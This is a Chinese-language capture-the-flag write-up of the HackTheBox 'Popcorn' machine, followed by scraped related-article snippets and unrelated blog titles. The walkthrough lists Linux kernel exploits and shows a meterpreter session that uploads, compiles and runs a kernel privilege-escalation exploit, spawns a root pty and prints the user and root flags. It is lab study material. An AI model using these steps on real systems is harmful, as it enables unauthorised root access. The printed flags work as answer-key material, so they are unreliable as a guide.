Linux Kernel < 2.6.26.4 - SCTP Kernel Memory Disclosure                                                                                                               | exploits/linux/local/7618.c
Linux Kernel < 2.6.28 - 'fasync_helper()' Local Privilege Escalation                                                                                                  | exploits/linux/local/33523.c
Linux Kernel < 2.6.29 - 'exit_notify()' Local Privilege Escalation                                                                                                    | exploits/linux/local/8369.sh
Linux Kernel < 2.6.30.5 - 'cfg80211' Remote Denial of Service                                                                                                         | exploits/linux/dos/9442.c
Linux Kernel < 2.6.31-rc4 - 'nfs4_proc_lock()' Denial of Service                                                                                                      | exploits/linux/dos/10202.c
Linux Kernel < 2.6.31-rc7 - 'AF_IRDA' 29-Byte Stack Disclosure (2)                                                                                                    | exploits/linux/local/9543.c
Linux Kernel < 2.6.34 (Ubuntu 10.10 x86) - 'CAP_SYS_ADMIN' Local Privilege Escalation (1)                                                                             | exploits/linux_x86/local/15916.c
Linux Kernel < 2.6.34 (Ubuntu 10.10 x86/x64) - 'CAP_SYS_ADMIN' Local Privilege Escalation (2)                                                                         | exploits/linux/local/15944.c
Linux Kernel < 2.6.36-rc1 (Ubuntu 10.04 / 2.6.32) - 'CAN BCM' Local Privilege Escalation                                                                              | exploits/linux/local/14814.c
Linux Kernel < 2.6.36-rc4-git2 (x86-64) - 'ia32syscall' Emulation Privilege Escalation                                                                                | exploits/linux_x86-64/local/15023.c
Linux Kernel < 2.6.36-rc6 (RedHat / Ubuntu 10.04) - 'pktcdvd' Kernel Memory Disclosure                                                                                | exploits/linux/local/15150.c
Linux Kernel < 2.6.36.2 (Ubuntu 10.04) - 'Half-Nelson.c' Econet Privilege Escalation                                                                                  | exploits/linux/local/17787.c
Linux Kernel < 2.6.37-rc2 - 'ACPI custom_method' Local Privilege Escalation                                                                                           | exploits/linux/local/15774.c
Linux Kernel < 2.6.37-rc2 - 'TCP_MAXSEG' Kernel Panic (Denial of Service) (2)                                                                                         | exploits/linux/dos/16952.c
Linux Kernel < 2.6.7-rc3 (Slackware 9.1 / Debian 3.0) - 'sys_chown()' Group Ownership Alteration Privilege Escalation                                                 | exploits/linux/local/718.c
Linux/MIPS Kernel 2.6.36 - 'NetUSB' Remote Code Execution                                                                                                             | exploits/multiple/remote/38454.py
ReiserFS (Linux Kernel 2.6.34-rc3 / RedHat / Ubuntu 9.10) - 'xattr' Local Privilege Escalation                                                                        | exploits/linux/local/12130.py
---------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------

我挑了一些测试，大概测试了10个左右，发现了可以提权的exp，获得了user和root的flag。

meterpreter > upload /usr/share/exploitdb/exploits/linux/local/15704.c
[*] uploading  : /usr/share/exploitdb/exploits/linux/local/15704.c -> 15704.c
[*] Uploaded -1.00 B of 9.26 KiB (-0.01%): /usr/share/exploitdb/exploits/linux/local/15704.c -> 15704.c
[*] uploaded   : /usr/share/exploitdb/exploits/linux/local/15704.c -> 15704.c
meterpreter > shell
Process 3057 created.
Channel 24 created.
gcc 15704.c -o exp7
ls -la
total 492
drwxrwxrwx  2 www-data www-data  4096 Feb  2 13:55 .
drwxr-xr-x 15 www-data www-data  4096 Feb  2 10:49 ..
-rw-r--r--  1 www-data www-data 30689 Feb  2 10:13 0b2932414e4e41e18008918ba6219201142c21d0.php
-rw-r--r--  1 www-data www-data  6381 Feb  2 10:03 0b2932414e4e41e18008918ba6219201142c21d0.png
-rw-r--r--  1 www-data www-data 15608 Feb  2 13:36 14814.c
-rw-r--r--  1 www-data www-data 25298 Feb  2 13:41 15024.c
-rw-r--r--  1 www-data www-data  8835 Feb  2 13:43 15150.c
-rw-r--r--  1 www-data www-data  9487 Feb  2 13:54 15704.c
-rw-r--r--  1 www-data www-data  9204 Feb  2 13:30 15916.c
-rw-r--r--  1 www-data www-data 14922 Feb  2 13:38 17787.c
-rw-r--r--  1 www-data www-data 16153 Feb  2 13:26 33321.c
-rw-r--r--  1 www-data www-data 16587 Feb  2 13:28 40812.c
-rw-r--r--  1 www-data www-data 59294 Mar 17  2017 723bc28f9b6f924cca68ccdff96b6190566ca6b4.png
-rw-r--r--  1 www-data www-data 32060 Feb  2 11:06 a.txt
-rwxr-xr-x  1 www-data www-data 13854 Feb  2 13:27 exp1
-rwxr-xr-x  1 www-data www-data 13166 Feb  2 13:30 exp2
-rwxr-xr-x  1 www-data www-data 13819 Feb  2 13:36 exp3
-rwxr-xr-x  1 www-data www-data 23800 Feb  2 13:41 exp5
-rwxr-xr-x  1 www-data www-data 13458 Feb  2 13:44 exp6
-rwxr-xr-x  1 www-data www-data 13557 Feb  2 13:55 exp7
-rwxrwxrwx  1 www-data www-data 46631 Feb  2 11:04 le.sh
-rw-r--r--  1 www-data www-data 25304 Feb  2 11:17 lpc.py
-rw-r--r--  1 www-data www-data 33029 Jun  2  2007 noss.png
-rwxrwxrwx  1 www-data www-data   207 Feb  2 13:14 pc_shell
./exp7  
ls -la
total 492
drwxrwxrwx  2 www-data www-data  4096 Feb  2 13:55 .
drwxr-xr-x 15 www-data www-data  4096 Feb  2 10:49 ..
-rw-r--r--  1 www-data www-data 30689 Feb  2 10:13 0b2932414e4e41e18008918ba6219201142c21d0.php
-rw-r--r--  1 www-data www-data  6381 Feb  2 10:03 0b2932414e4e41e18008918ba6219201142c21d0.png
-rw-r--r--  1 www-data www-data 15608 Feb  2 13:36 14814.c
-rw-r--r--  1 www-data www-data 25298 Feb  2 13:41 15024.c
-rw-r--r--  1 www-data www-data  8835 Feb  2 13:43 15150.c
-rw-r--r--  1 www-data www-data  9487 Feb  2 13:54 15704.c
-rw-r--r--  1 www-data www-data  9204 Feb  2 13:30 15916.c
-rw-r--r--  1 www-data www-data 14922 Feb  2 13:38 17787.c
-rw-r--r--  1 www-data www-data 16153 Feb  2 13:26 33321.c
-rw-r--r--  1 www-data www-data 16587 Feb  2 13:28 40812.c
-rw-r--r--  1 www-data www-data 59294 Mar 17  2017 723bc28f9b6f924cca68ccdff96b6190566ca6b4.png
-rw-r--r--  1 www-data www-data 32060 Feb  2 11:06 a.txt
-rwxr-xr-x  1 www-data www-data 13854 Feb  2 13:27 exp1
-rwxr-xr-x  1 www-data www-data 13166 Feb  2 13:30 exp2
-rwxr-xr-x  1 www-data www-data 13819 Feb  2 13:36 exp3
-rwxr-xr-x  1 www-data www-data 23800 Feb  2 13:41 exp5
-rwxr-xr-x  1 www-data www-data 13458 Feb  2 13:44 exp6
-rwxr-xr-x  1 www-data www-data 13557 Feb  2 13:55 exp7
-rwxrwxrwx  1 www-data www-data 46631 Feb  2 11:04 le.sh
-rw-r--r--  1 www-data www-data 25304 Feb  2 11:17 lpc.py
-rw-r--r--  1 www-data www-data 33029 Jun  2  2007 noss.png
-rwxrwxrwx  1 www-data www-data   207 Feb  2 13:14 pc_shell
whoami
root
python -c 'import pty; pty.spawn("/bin/bash")'
root@popcorn:/var/www/torrent/upload# whoami
whoami
root
root@popcorn:/var/www/torrent/upload# cd /home/ 
lcd /home/
root@popcorn:/home#ls -la
ls -la
total 12
drwxr-xr-x  3 root   root   4096 Mar 17  2017 .
drwxr-xr-x 21 root   root   4096 Feb  1 11:32 ..
drwxr-xr-x  3 george george 4096 Mar 17  2017 george
root@popcorn:/home# cd george
cd george
root@popcorn:/home/george# ls -la
ls -la
total 872
drwxr-xr-x 3 george george   4096 Mar 17  2017 .
drwxr-xr-x 3 root   root     4096 Mar 17  2017 ..
-rw------- 1 root   root     2769 May  5  2017 .bash_history
-rw-r--r-- 1 george george    220 Mar 17  2017 .bash_logout
-rw-r--r-- 1 george george   3180 Mar 17  2017 .bashrc
drwxr-xr-x 2 george george   4096 Mar 17  2017 .cache
-rw------- 1 root   root     1571 Mar 17  2017 .mysql_history
-rw------- 1 root   root       19 May  5  2017 .nano_history
-rw-r--r-- 1 george george    675 Mar 17  2017 .profile
-rw-r--r-- 1 george george      0 Mar 17  2017 .sudo_as_admin_successful
-rw-r--r-- 1 george george 848727 Mar 17  2017 torrenthoster.zip
-rw-r--r-- 1 george george     33 Mar 17  2017 user.txt
root@popcorn:/home/george# cat user.txt
cat user.txt
5e36a919398ecc5d5c110f2d865cf136
root@popcorn:/home/george# cd /root
cd /root
root@popcorn:/root# ls -la
ls -la
total 40
drwx------  5 root root 4096 Apr 11  2017 .
drwxr-xr-x 21 root root 4096 Feb  1 11:32 ..
drwx------  2 root root 4096 Mar 17  2017 .aptitude
-rw-------  1 root root  637 Sep 24  2017 .bash_history
-rw-r--r--  1 root root 2227 Apr 27  2009 .bashrc
drwxr-xr-x  2 root root 4096 Mar 27  2017 .cache
drwxr-xr-x  2 root root 4096 Mar 17  2017 .debtags
-rw-------  1 root root  368 Apr 11  2017 .mysql_history
-rw-r--r--  1 root root  140 Nov 19  2007 .profile
-rw-------  1 root root   33 Mar 17  2017 root.txt
root@popcorn:/root# cat root.txt
cat root.txt
f122331023a9393319a0370129fd9b14

你可能感兴趣的:(HTB靶场)

玄机alog挖矿应急呆呆的羊网络 web安全
这里我主要介绍一下思路，因为我在做的时候发现可能是环境的问题，有时候同一个命令的执行结果是不一样的，有时候有结果，有时候啥都没有。1.首先要认识这里是靶场，所以此时的设备并没有与靶场建立连接，而是处于断开连接的状态，我们要做的就是上机排查相关日志、权限维持的相关手段等，还原攻击者的链路和人物画像。2.crontab-l查看计划任务，找到了可疑的执行文件3.计算文件的md5值，然后放到微步上分析一下
【甲方安全建设】富文本编辑器XSS漏洞攻击及防御详析秋说网络安全 xss web安全富文本编辑器
原创文章，禁止转载。文章目录调研背景搭建TinyMCE富文本编辑器靶场富文本编辑器前端过滤富文本编辑器后端攻击后端弱过滤弱过滤1弱过滤2后端有效过滤从甲方的视角看动态安全调研背景随着Web2.0技术的普及，富文本编辑器在各种Web应用中得到了广泛应用，用户、网站管理员等可以通过富文本编辑器在网页中添加并展示格式化文本、图片、视频等丰富内容。然而，由于富文本内容本质上涉及客户端输入，并且可能包含HT
【渗透测试】利用hook技术破解前端JS加解密 - JS-Forward Hello_Brian 渗透测试安全 Hook技术前端JS加解密渗透测试 web安全
前言在做渗透测试项目时，尤其是金融方面，经常会遇到前端JS加解密技术，看着一堆堆密密麻麻的密文，会给人一种无力感。Hook技术则会帮助我们无需获取加解密密钥的前提下，获取明文进行渗透测试环境准备JS-ForwardBurpsuiteFiddler网上公开的加解密逻辑漏洞的靶场源码某大佬搭建的公网测试环境（请礼貌使用）：http://39.98.108.20:8085/Hook-JS技术详解正常访问
XSS LABS - Level 18 过关思路 SRC_BLUE_17 网络安全 #网络安全靶场笔记 xss 前端网络安全 web安全
关注这个靶场的其他相关笔记：XSS-LABS——靶场笔记合集-CSDN博客0x01：过关流程本关推荐在Google浏览器中完成，因为FireFox中不会出现上图中的标签，就算你能注入，你也没触发的条件。进入靶场，右击，查看页面源码，找找特殊点：我们测试一下，看看能不能和上一关一样，直接为标签构造一个监听事件： ?arg01=onmouseover&arg02=alert(1)触发方式，和过关方式都
Sqli-labs靶场第11关详解[Sqli-labs-less-11] 「已注销」 sqli-labs 数据库 web安全网络安全 mysql sql
Sqli-labs-Less-11前言：SQL注入的三个条件：①参数可控；（从参数输入就知道参数可控）②参数过滤不彻底导致恶意代码被执行；（需要在测试过程中判断）③参数带入数据库执行。（从网页功能能大致分析出是否与数据库进行交互）利用orderby来测列数测显位：mysql用1,2,3,4Mysql获取相关数据：一、数据库版本-看是否认符合information_schema查询-version(
XSS LABS - Level 17 过关思路 SRC_BLUE_17 网络安全 #网络安全靶场笔记 xss 前端网络安全 web安全
关注这个靶场的其他相关笔记：XSS-LABS——靶场笔记合集-CSDN博客0x01：过关流程进入靶场，空空如也，右击页面，查看网页源码，找找可疑点：可以看到，靶场默认传参，都传递到了标签内，并且分别作为key和value的格式。那这个就很简单了，直接给他传个监听事件即可（这个靶场推荐在Google浏览器中完成，FireFox中容易出现下面这个情况，即标签不显示）。XSSPayload，以及攻击流程
DVWA靶场通关（CSRF）马船长 csrf 前端
CSRF是跨站请求伪造，是指利用受害者尚未失效的身份认证信息（cookie、会话等），诱骗其点击恶意链接或者访问包含攻击代码的页面，在受害人不知情的情况下以受害者的身份向（身份认证信息所对应的）服务器发送请求，从而完成非法操作（如转账、改密等）。CSRF属于业务逻辑漏洞,服务器信任经过身份认证的用户。漏洞利用前提：:用户必须登录、黑客懂得一些发包的请求,服务器端是不会有二次认证的，被害者是不知情的
2024三掌柜赠书活动第十四期：网络靶场与攻防演练三掌柜666 php 网络 web安全
目录前言网络靶场的概念和作用攻防演练的重要性和实施方法1、攻防演练的重要性2、攻防演练的实施方法关于《网络靶场与攻防演练》编辑推荐内容简介作者简介图书目录书中前言/序言《网络靶场与攻防演练》全书速览结束语前言在当今数字化时代，随着互联网的快速发展和应用程序的广泛使用，网络安全成为了各个组织和企业不可忽视的重要领域，成为了不可或缺的一部分。为了保护网络免受各种威胁和攻击，网络靶场和攻防演练成为了一种
docker搭建现成的靶场晓幂 docker 容器运维
Docker安装：apt-getinstalldocker.ioUpload-labs——文件上传靶场搭建：因为Dockerhub上存在镜像源，所以，索性直接拉取过来，dockerpullc0ny1/upload-labs等到下载完成之后，就可以创建容器：dockerrun-d-p81:80c0ny1/upload-labs-p：意为端口映射，格式为宿主机端口:容器端口。由于我的Linux的80端
BossPlayerCTF Y4y17 Vulnhub 安全 web安全网络网络安全学习
靶场环境问题靶场下载之后，可能会出现扫描不到IP的情况，需要进行调整，参考：Vulnhub靶机检测不到IP地址_vulnhub靶机nmap扫不到-CSDN博客该靶机没有vim，需要使用vi命令去修改；改成当前网卡即可！信息收集#nmap-sn192.168.1.0/24-oNlive.nmapStartingNmap7.94(https://nmap.org)at2024-02-0409:31CS
HTB-CozyHosting Y4y17 HackTheBox 网络安全安全学习 web安全安全威胁分析
目标靶机的IP地址为10.10.11.230，下面测试连接的稳定性！攻击机的IP地址为10.10.14.67！有一点点慢，应该是问题不大！信息收集#nmap-sT--min-rate10000-p-10.10.11.230-oNport.nmapStartingNmap7.94(https://nmap.org)at2024-02-1517:36CSTWarning:10.10.11.230giv
HTB-Analytics Y4y17 HackTheBox 网络安全学习安全威胁分析 web安全安全
靶机的IP地址为10.10.11.233，攻击机的IP地址为10.10.16.30信息收集#nmap-sT--min-rate10000-p-10.10.11.233-oNport.nmapStartingNmap7.94(https://nmap.org)at2024-02-1914:50CSTWarning:10.10.11.233givinguponportbecauseretransmis
【BUUCTF 加固题】Ezsql 速通 hacker-routing web CTF夺旗赛开发语言前端 javascript web安全 html php CTF
博主介绍‍博主介绍：大家好，我是hacker-routing，很高兴认识大家~✨主攻领域：【渗透领域】【应急响应】【Java】【VulnHub靶场复现】【面试分析】点赞➕评论➕收藏==养成习惯（一键三连）欢迎关注一起学习一起讨论⭐️一起进步文末有彩蛋作者水平有限，欢迎各位大佬指点，相互学习进步！目录前言一、访问web网址二、ssh远程登录三、加固网站源代码前言靶机地址解释：第一行：目标机器WEB服
DVWA 靶场之 Brute Force-Low&Medium（前期配置铺垫与渗透方法及源码分析） Myon⁶ DVWA靶场 web 暴力破解 burpsuite web 代理模式 web安全
首先登录DVWA靶场DVWA默认的用户有5个，用户名及密码如下：admin/passwordgordonb/abc1231337/charleypablo/letmeinsmithy/password难度等级设置为low，我们先从最简单的开始来到BruteForce（暴力破解）我们可以输入用户名和密码简单测了几个，回显用户名或密码不正确但是并未对我们输入的内容及次数进行限制，因此直接进行爆破暴力破
w25 web漏洞之xss 杭城我最帅前端 xss
pikachu靶场第一关-反射型xss（get）利用hpp漏洞破解第二关-反射型xss（post）登录：admin/123456修改postdata内的参数第三关-存储型xss在留言板输入message=alert(1)第四关-DOM型xsswhatdoyousee?是把输入框内的内容拼接url。常见XSS语句标签,xssxss第五关-DOM型xss跟第四关一样dvwa靶场第一关-xss(Refl
threehit漏洞复现以及防御凌晨五点的星网络安全安全 web安全
说白了跟sql-liql靶场二次注入一样，也是一个转义函数而这次是，入库的时候不转义，出库的时候会转义导致这个漏洞出现开始测试：这是我注册完test刚登录的情况找注入点更新数据的update，很容易找到在age段这次我注册的时候用户还是test，但是年龄我对后面进行了省略可以看到我直接登录到管理员上了防御：可以进行强转这样无法闭合漏洞也就无法实现了
面试经验分享 | 通关某公司面试靶场 zkzq 面试经验分享职场和发展
本文由掌控安全学院-冰封小天堂投稿0x00:探测IP首先打开时候长这个样，一开始感觉是迷惑行为，试了试/admin，/login这些发现都没有随后F12查看网络，看到几个js文件带有传参，就丢sqlmap跑了一下无果随后也反查了域名一下，发现没有域名，是阿里云的，这里突然醒悟，我第一步是信息收集。kalilinux启动，nmap启动，直接常规扫描一波，发现开启了这么多，ftp和ssh可以爆破，但因
（二）【Jmeter】专栏实战项目靶场drupal部署 WEL测试 JMeter接口测试实战指南 jmeter 自动化测试工具
该专栏后续实战示例，都以该篇部署的项目展开操作。前置条件参考“（一）【Jmeter】JDK及Jmeter的安装部署及简单配置”安装部署Jmeter，从文章最后下载“Postman、Rancher.ova、VirtualBox-7.0.12-159484-Win.exe、Xshell-7.0.0144p.exe、Xftp-7.0.0144p.exe”VirtualBox安装首先，双击“Virtual
（五）【Jmeter】使用代理录制HTTP脚本操作步骤及注意事项 WEL测试 JMeter接口测试实战指南 jmeter 接口测试 HTTP请求
前置信息软件版本Jmeter5.6.3服务网址备注drupalhttp://192.168.88.88:18080/（二）【Jmeter】专栏实战项目靶场drupal部署用户名密码test1test1test2test2实操记录1、启动jmeter，操作顺序见下图2、在视图面板添加如下信息，点击开始
SQL-Labs靶场“6-10”关通关教程君衍.⠀ SQL-Labs 渗透测试网络安全 sql 数据库负载均衡运维 linux 网络安全渗透测试
君衍.一、第六关基于GET的双引号报错注入1、源码分析2、floor报错注入3、updatexml报错注入二、第七关基于文件写入注入1、源码分析2、outfile注入过程三、第八关基于GET单引号布尔盲注1、源码分析2、布尔盲注（脚本）2、布尔盲注（手工）3、布尔盲注（sqlmap）四、第九关基于GET单引号时间盲注1、源码分析2、时间盲注（手工）3、时间盲注（脚本）4、时间盲注（sqlmap）五
SQL-Labs靶场“15-20”关通关教程君衍.⠀ SQL-Labs 网络安全渗透测试 sql 数据库 python java linux 网络安全渗透测试
君衍.一、十六关基于POST双引号布尔型时间盲注1、源码分析2、布尔盲注（手动）2、布尔盲注（脚本）3、时间盲注（sqlmap）二、十七关基于POST错误的更新1、源码分析2、报错注入三、十八关基于POST的Uagent字段注入1、源码分析2、floor报错注入3、updatexml报错注入四、十九关基于POST的Referer字段注入1、源码分析2、floor报错注入3、updatexml报错注
SQL-Labs靶场“1-5”关通关教程君衍.⠀ SQL-Labs 渗透测试网络安全 sql 数据库 docker 容器运维 web安全 php
君衍.一、准备工作二、第一关基于GET单引号字符型注入1、源码分析2、联合查询注入过程三、第二关基于GET整型注入1、源码分析2、联合查询注入过程四、第三关基于GET单引号变形注入1、源码分析2、联合查询注入过程五、第四关基于GET双引号字符型注入1、源码分析2、联合查询注入过程六、第五关基于GET单引号报错注入1、源码分析2、floor报错注入3、updatexml报错注入点击跳转：SQL-La
SQL-Labs靶场“11-15”关通关教程君衍.⠀ SQL-Labs 渗透测试网络安全 sql 数据库 python java linux 网络安全渗透测试
君衍.一、十一关基于POST单引号字符型注入1、源码分析2、联合查询注入3、报错注入二、十二关基于POST双引号字符型注入1、源码分析2、联合查询注入3、报错注入三、十三关基于POST单引号报错注入变形1、源码分析2、报错注入四、十四关基于POST双引号报错注入1、源码分析2、报错注入五、十五关基于POST单引号布尔型时间盲注1、源码分析2、布尔盲注（手动）2、布尔盲注（脚本）3、时间盲注（sql
国内外黑客居然都在这些地方聚集 MR_sasa 黑客安全信息安全其他数据挖掘
1.track黑客导航导航Track黑客导航黑客导航，含有众多网安一行的官方网站及平台无论你是老鸟还是萌新，都可以找得到对应适合的文章！2.封神台靶场封神台-掌控安全在线演练靶场，是一个在线黑客攻防演练平台。在线练习靶场，是一个在线黑客攻防演练平台！在成长的道路上怎么能缺少打怪刷级的乐趣呢！但是市面上的网站漏洞组成复杂，而且会有法律风险，想要技术，封神台靶场是一个好的选择3.黑客社区Track安全
干货 | 绕过WAF的常见Web漏洞利用分析网络安全大白程序员网络安全黑客前端网络安全安全系统安全
前言本文以最新版安全狗为例，总结一下我个人掌握的一些绕过WAF进行常见WEB漏洞利用的方法，希望能起到抛砖引玉的效果。如果师傅们有更好的方法，烦请不吝赐教。PS：本文仅用于技术研究与讨论，严禁用于任何非法用途，违者后果自负，作者与平台不承担任何责任测试环境PHPStudy（PHP5.4.45+Apache+MySQL5.5.53）+最新版安全狗（4.0.28330）靶场使用DVWA：http://
文件上传漏洞--Upload-labs--Pass09（在某些版本的靶场里是Pass10）--点+空格+点绕过给我杯冰美式 Web安全--文件上传漏洞文件上传漏洞 web安全
一、什么是点+空格+点绕过顾名思义，将test.php改为test.php..，观察到后缀名php后多出了点+空格+点。那么点+空格+点是如何进行绕过的，在什么情况下可以使用，让我们结合题目讲解。二、代码审计1、查看题目源代码上半部分，题目采取黑名单，并且对Pass05-Pass07的题目中所出现的漏洞进行了有效修复，意味着我们不再能够使用点绕过/空格绕过/大小写绕过了。2、接着查看源代码下半部分
【web | CTF】BUUCTF [网鼎杯 2020 青龙组]AreUSerialz 星盾网安 CTF php
天命：php的序列化题目简直是玄学，既不能本地复现，也不能求证靶场环境天命：本地php是复现不了反序列化漏洞的，都不知道是版本问题还是其他问题天命：这题也是有点奇怪的，明明用字符串2也应该是可以，但偏偏就不行，神奇了进来题目先看到php代码审计，是反序列化漏洞先看进来入口的逻辑，判断是不是正常的ascii码字符，然后反序列化，可以忽略校验，都是正常的//校验你是不是ascii码里面的合法字符fun
CFS三层靶机 0e1G7 渗透笔记服务器 linux 运维
参考博客：CFS三层内网靶场渗透记录【详细指南】-FreeBuf网络安全行业门户CFS三层靶机搭建及其内网渗透【附靶场环境】|TeamsSixCFS三层网络环境靶场实战-PANDA墨森-博客园(cnblogs.com)CFS三层靶机实战--内网横向渗透-知乎(zhihu.com)CFS靶机实战演练-从外网杀进三层内网，横向渗透拿到Flag-阿里云开发者社区(aliyun.com)主机发现fscan
upload-labs文件上传漏洞靶场 Ryongao 网络安全
第一关发现他这个是通过客户端前端写了一个限制我们禁用srcipt即可蚁剑成功打开第二关我们上传文件2.php它提示我们文件类型不正确我们可以联想到做了后缀检测我们通过burp抓包修改后缀第三关我们上传一个.php文件不可上传尝试后缀大小写绕过、空格绕过、点绕过、:ATA绕过等操作都不行查看源代码发现全部禁止了在某些特定环境中某些特殊后缀仍会被当作php文件解析php、php2、php3、php4、
DC-4靶场实战详解 a310034188 DC 安全 linux web安全
DC-4靶场实战详解环境安装DC-4下载地址：https://www.vulnhub.com/entry/dc-4,313/kali与DC-4网络配置设为一致，我这里都是用nat模式寻找FLAG信息收集1.寻找靶机ip我的kaliip为192.168.79.128不知道kaliip的可以直接ipadd查看在kali中使用nmap或者使用arp-scan方法一：arp-scan-l方法二：nmap-
[黑洞与暗粒子]没有光的世界 comsci
无论是相对论还是其它现代物理学,都显然有个缺陷,那就是必须有光才能够计算但是,我相信,在我们的世界和宇宙平面中,肯定存在没有光的世界.... 那么,在没有光的世界,光子和其它粒子的规律无法被应用和考察,那么以光速为核心的 &nbs
jQuery Lazy Load 图片延迟加载 aijuans jquery
基于 jQuery 的图片延迟加载插件，在用户滚动页面到图片之后才进行加载。对于有较多的图片的网页，使用图片延迟加载，能有效的提高页面加载速度。版本： jQuery v1.4.4+ jQuery Lazy Load v1.7.2 注意事项：需要真正实现图片延迟加载，必须将真实图片地址写在 data-original 属性中。若 src
使用Jodd的优点 Kai_Ge jodd
1. 简化和统一 controller ，抛弃 extends SimpleFormController ，统一使用 implements Controller 的方式。 2. 简化 JSP 页面的 bind, 不需要一个字段一个字段的绑定。 3. 对 bean 没有任何要求，可以使用任意的 bean 做为 formBean。使用方法简介
jpa Query转hibernate Query 120153216 Hibernate
public List<Map> getMapList(String hql, Map map) { org.hibernate.Query jpaQuery = entityManager.createQuery(hql); if (null != map) { for (String parameter : map.keySet()) { jp
Django_Python3添加MySQL/MariaDB支持 2002wmj mariaDB
现状首先，[email protected] 中默认的引擎为 django.db.backends.mysql 。但是在Python3中如果这样写的话，会发现 django.db.backends.mysql 依赖 MySQLdb[5] ，而 MySQLdb 又不兼容 Python3 于是要找一种新的方式来继续使用MySQL。 MySQL官方的方案首先据MySQL文档[3]说，自从MySQL
在SQLSERVER中查找消耗IO最多的SQL 357029540 SQL Server
返回做IO数目最多的50条语句以及它们的执行计划。 select top 50 (total_logical_reads/execution_count) as avg_logical_reads, (total_logical_writes/execution_count) as avg_logical_writes, (tot
spring UnChecked 异常官方定义！ 7454103 spring
如果你接触过spring的事物管理！那么你必须明白 spring的非捕获异常！即 unchecked 异常！因为 spring 默认这类异常事物自动回滚！！ public static boolean isCheckedException(Throwable ex) { return !(ex instanceof RuntimeExcep
mongoDB 入门指南、示例 adminjun java mongodb 操作
一、准备工作 1、下载mongoDB 下载地址：http://www.mongodb.org/downloads 选择合适你的版本相关文档：http://www.mongodb.org/display/DOCS/Tutorial 2、安装mongoDB A、不解压模式：将下载下来的mongoDB-xxx.zip打开，找到bin目录，运行mongod.exe就可以启动服务，默
CUDA 5 Release Candidate Now Available aijuans CUDA
The CUDA 5 Release Candidate is now available at http://developer.nvidia.com/<wbr></wbr>cuda/cuda-pre-production. Now applicable to a broader set of algorithms, CUDA 5 has advanced fe
Essential Studio for WinRT网格控件测评 Axiba JavaScript html5
Essential Studio for WinRT界面控件包含了商业平板应用程序开发中所需的所有控件，如市场上运行速度最快的grid 和chart、地图、RDL报表查看器、丰富的文本查看器及图表等等。同时，该控件还包含了一组独特的库，用于从WinRT应用程序中生成Excel、Word以及PDF格式的文件。此文将对其另外一个强大的控件——网格控件进行专门的测评详述。网格控件功能 1、
java 获取windows系统安装的证书或证书链 bewithme windows
有时需要获取windows系统安装的证书或证书链，比如说你要通过证书来创建java的密钥库。有关证书链的解释可以查看此处。 public static void main(String[] args) { SunMSCAPI providerMSCAPI = new SunMSCAPI(); S
NoSQL数据库之Redis数据库管理(set类型和zset类型) bijian1013 redis 数据库 NoSQL
4.sets类型 Set是集合，它是string类型的无序集合。set是通过hash table实现的，添加、删除和查找的复杂度都是O(1)。对集合我们可以取并集、交集、差集。通过这些操作我们可以实现sns中的好友推荐和blog的tag功能。 sadd：向名称为key的set中添加元
异常捕获何时用Exception，何时用Throwable bingyingao
用Exception的情况 try { //可能发生空指针、数组溢出等异常 } catch (Exception e) {
【Kafka四】Kakfa伪分布式安装 bit1129 kafka
在http://bit1129.iteye.com/blog/2174791一文中，实现了单Kafka服务器的安装，在Kafka中，每个Kafka服务器称为一个broker。本文简单介绍下，在单机环境下Kafka的伪分布式安装和测试验证 1. 安装步骤 Kafka伪分布式安装的思路跟Zookeeper的伪分布式安装思路完全一样，不过比Zookeeper稍微简单些(不
Project Euler bookjovi haskell
Project Euler是个数学问题求解网站，网站设计的很有意思，有很多problem，在未提交正确答案前不能查看problem的overview，也不能查看关于problem的discussion thread，只能看到现在problem已经被多少人解决了，人数越多往往代表问题越容易。看看problem 1吧： Add all the natural num
Java-Collections Framework学习与总结-ArrayDeque BrokenDreams Collections
表、栈和队列是三种基本的数据结构，前面总结的ArrayList和LinkedList可以作为任意一种数据结构来使用，当然由于实现方式的不同，操作的效率也会不同。这篇要看一下java.util.ArrayDeque。从命名上看
读《研磨设计模式》-代码笔记-装饰模式-Decorator bylijinnan java 设计模式
声明：本文只为方便我个人查阅和理解，详细的分析以及源代码请移步原作者的博客http://chjavach.iteye.com/ import java.io.BufferedOutputStream; import java.io.DataOutputStream; import java.io.FileOutputStream; import java.io.Fi
Maven学习(一) chenyu19891124 Maven私服
学习一门技术和工具总得花费一段时间，5月底6月初自己学习了一些工具，maven+Hudson+nexus的搭建，对于maven以前只是听说，顺便再自己的电脑上搭建了一个maven环境，但是完全不了解maven这一强大的构建工具，还有ant也是一个构建工具，但ant就没有maven那么的简单方便，其实简单点说maven是一个运用命令行就能完成构建，测试，打包，发布一系列功
[原创]JWFD工作流引擎设计----节点匹配搜索算法(用于初步解决条件异步汇聚问题) 补充 comsci 算法工作 PHP 搜索引擎嵌入式
本文主要介绍在JWFD工作流引擎设计中遇到的一个实际问题的解决方案，请参考我的博文"带条件选择的并行汇聚路由问题"中图例A2描述的情况(http://comsci.iteye.com/blog/339756),我现在把我对图例A2的一个解决方案公布出来，请大家多指点节点匹配搜索算法(用于解决标准对称流程图条件汇聚点运行控制参数的算法) 需要解决的问题：已知分支
Linux中用shell获取昨天、明天或多天前的日期 daizj linux shell 上几年昨天获取上几个月
在Linux中可以通过date命令获取昨天、明天、上个月、下个月、上一年和下一年 # 获取昨天 date -d 'yesterday' # 或 date -d 'last day' # 获取明天 date -d 'tomorrow' # 或 date -d 'next day' # 获取上个月 date -d 'last month' #
我所理解的云计算 dongwei_6688 云计算
在刚开始接触到一个概念时，人们往往都会去探寻这个概念的含义，以达到对其有一个感性的认知，在Wikipedia上关于“云计算”是这么定义的，它说： Cloud computing is a phrase used to describe a variety of computing co
YII CMenu配置 dcj3sjt126com yii
Adding id and class names to CMenu We use the id and htmlOptions to accomplish this. Watch. //in your view $this->widget('zii.widgets.CMenu', array( 'id'=>'myMenu', 'items'=>$this-&g
设计模式之静态代理与动态代理 come_for_dream 设计模式
静态代理与动态代理代理模式是java开发中用到的相对比较多的设计模式，其中的思想就是主业务和相关业务分离。所谓的代理设计就是指由一个代理主题来操作真实主题，真实主题执行具体的业务操作，而代理主题负责其他相关业务的处理。比如我们在进行删除操作的时候需要检验一下用户是否登陆，我们可以删除看成主业务，而把检验用户是否登陆看成其相关业务
【转】理解Javascript 系列 gcc2ge JavaScript
